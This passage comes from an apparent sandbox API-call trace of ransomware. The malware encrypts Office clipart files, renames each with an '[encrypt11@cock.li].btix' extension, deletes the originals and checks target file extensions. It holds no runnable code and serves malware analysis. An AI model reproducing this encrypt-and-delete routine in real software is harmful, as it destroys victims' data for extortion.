liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.770] GetLastError () returned 0x0 [0058.770] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xec4, lpOverlapped=0x0) returned 1 [0058.808] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xed0, lpOverlapped=0x0) returned 1 [0058.809] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0058.809] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0058.809] SetEndOfFile (hFile=0x388) returned 1 [0058.819] CloseHandle (hObject=0x388) returned 1 [0058.820] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.820] SetEndOfFile (hFile=0x318) returned 1 [0058.823] CloseHandle (hObject=0x318) returned 1 [0058.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0058.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.825] lstrlenW (lpString=".doc") returned 4 [0058.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.825] lstrlenW (lpString=".docx") returned 5 [0058.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.825] lstrlenW (lpString=".pdf") returned 4 [0058.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.825] lstrlenW (lpString=".xls") returned 4 [0058.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.825] lstrlenW (lpString=".xlsx") returned 5 [0058.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.825] lstrlenW (lpString=".ppt") returned 4 [0058.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.825] lstrlenW (lpString=".zip") returned 4 [0058.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.825] lstrlenW (lpString=".rar") returned 4 [0058.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.826] lstrlenW (lpString=".bz2") returned 4 [0058.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.826] lstrlenW (lpString=".7z") returned 3 [0058.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.826] lstrlenW (lpString=".dbf") returned 4 [0058.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.826] lstrlenW (lpString=".1cd") returned 4 [0058.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0058.826] lstrlenW (lpString=".jpg") returned 4 [0058.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.827] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.827] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.827] GetLastError () returned 0x0 [0058.827] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1b54, lpOverlapped=0x0) returned 1 [0058.979] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1b60, lpOverlapped=0x0) returned 1 [0058.980] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0058.980] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0058.980] SetEndOfFile (hFile=0x308) returned 1 [0058.981] CloseHandle (hObject=0x308) returned 1 [0058.981] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.981] SetEndOfFile (hFile=0x318) returned 1 [0058.982] CloseHandle (hObject=0x318) returned 1 [0058.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0058.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.983] lstrlenW (lpString=".doc") returned 4 [0058.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.983] lstrlenW (lpString=".docx") returned 5 [0058.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.983] lstrlenW (lpString=".pdf") returned 4 [0058.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.983] lstrlenW (lpString=".xls") returned 4 [0058.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.983] lstrlenW (lpString=".xlsx") returned 5 [0058.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.983] lstrlenW (lpString=".ppt") returned 4 [0058.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.984] lstrlenW (lpString=".zip") returned 4 [0058.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.984] lstrlenW (lpString=".rar") returned 4 [0058.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.984] lstrlenW (lpString=".bz2") returned 4 [0058.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.984] lstrlenW (lpString=".7z") returned 3 [0058.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.984] lstrlenW (lpString=".dbf") returned 4 [0058.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.984] lstrlenW (lpString=".1cd") returned 4 [0058.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0058.984] lstrlenW (lpString=".jpg") returned 4 [0058.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.985] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.985] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.985] GetLastError () returned 0x0 [0058.985] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0059.322] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0059.323] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.323] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.323] SetEndOfFile (hFile=0x308) returned 1 [0059.323] CloseHandle (hObject=0x308) returned 1 [0059.324] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.324] SetEndOfFile (hFile=0x318) returned 1 [0059.325] CloseHandle (hObject=0x318) returned 1 [0059.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0059.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.326] lstrlenW (lpString=".doc") returned 4 [0059.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.326] lstrlenW (lpString=".docx") returned 5 [0059.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.326] lstrlenW (lpString=".pdf") returned 4 [0059.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.326] lstrlenW (lpString=".xls") returned 4 [0059.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.326] lstrlenW (lpString=".xlsx") returned 5 [0059.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.326] lstrlenW (lpString=".ppt") returned 4 [0059.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.326] lstrlenW (lpString=".zip") returned 4 [0059.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.326] lstrlenW (lpString=".rar") returned 4 [0059.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.327] lstrlenW (lpString=".bz2") returned 4 [0059.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.327] lstrlenW (lpString=".7z") returned 3 [0059.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.327] lstrlenW (lpString=".dbf") returned 4 [0059.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.327] lstrlenW (lpString=".1cd") returned 4 [0059.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0059.327] lstrlenW (lpString=".jpg") returned 4 [0059.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.327] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.327] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.328] GetLastError () returned 0x0 [0059.328] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4c14, lpOverlapped=0x0) returned 1 [0059.348] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4c20, lpOverlapped=0x0) returned 1 [0059.349] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.349] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.349] SetEndOfFile (hFile=0x308) returned 1 [0059.349] CloseHandle (hObject=0x308) returned 1 [0059.350] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.350] SetEndOfFile (hFile=0x318) returned 1 [0059.351] CloseHandle (hObject=0x318) returned 1 [0059.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0059.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.352] lstrlenW (lpString=".doc") returned 4 [0059.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.352] lstrlenW (lpString=".docx") returned 5 [0059.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.352] lstrlenW (lpString=".pdf") returned 4 [0059.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.352] lstrlenW (lpString=".xls") returned 4 [0059.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.352] lstrlenW (lpString=".xlsx") returned 5 [0059.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.352] lstrlenW (lpString=".ppt") returned 4 [0059.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.352] lstrlenW (lpString=".zip") returned 4 [0059.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.353] lstrlenW (lpString=".rar") returned 4 [0059.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.353] lstrlenW (lpString=".bz2") returned 4 [0059.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.353] lstrlenW (lpString=".7z") returned 3 [0059.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.353] lstrlenW (lpString=".dbf") returned 4 [0059.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.353] lstrlenW (lpString=".1cd") returned 4 [0059.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0059.353] lstrlenW (lpString=".jpg") returned 4 [0059.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.353] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.353] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.354] GetLastError () returned 0x0 [0059.354] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x714c, lpOverlapped=0x0) returned 1 [0059.388] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x7150, lpOverlapped=0x0) returned 1 [0059.389] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.389] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.389] SetEndOfFile (hFile=0x308) returned 1 [0059.389] CloseHandle (hObject=0x308) returned 1 [0059.390] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.390] SetEndOfFile (hFile=0x318) returned 1 [0059.391] CloseHandle (hObject=0x318) returned 1 [0059.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0059.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.572] lstrlenW (lpString=".doc") returned 4 [0059.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.572] lstrlenW (lpString=".docx") returned 5 [0059.572] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0059.572] lstrlenW (lpString=".pdf") returned 4 [0059.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.572] lstrlenW (lpString=".xls") returned 4 [0059.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.573] lstrlenW (lpString=".xlsx") returned 5 [0059.573] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0059.573] lstrlenW (lpString=".ppt") returned 4 [0059.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.573] lstrlenW (lpString=".zip") returned 4 [0059.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.573] lstrlenW (lpString=".rar") returned 4 [0059.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.573] lstrlenW (lpString=".bz2") returned 4 [0059.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.573] lstrlenW (lpString=".7z") returned 3 [0059.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.573] lstrlenW (lpString=".dbf") returned 4 [0059.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.573] lstrlenW (lpString=".1cd") returned 4 [0059.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0059.573] lstrlenW (lpString=".jpg") returned 4 [0059.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.578] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.578] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.578] GetLastError () returned 0x0 [0059.578] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x5a4, lpOverlapped=0x0) returned 1 [0059.584] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x5b0, lpOverlapped=0x0) returned 1 [0059.585] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.585] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.585] SetEndOfFile (hFile=0x308) returned 1 [0059.586] CloseHandle (hObject=0x308) returned 1 [0059.596] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.596] SetEndOfFile (hFile=0x318) returned 1 [0059.597] CloseHandle (hObject=0x318) returned 1 [0059.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.597] 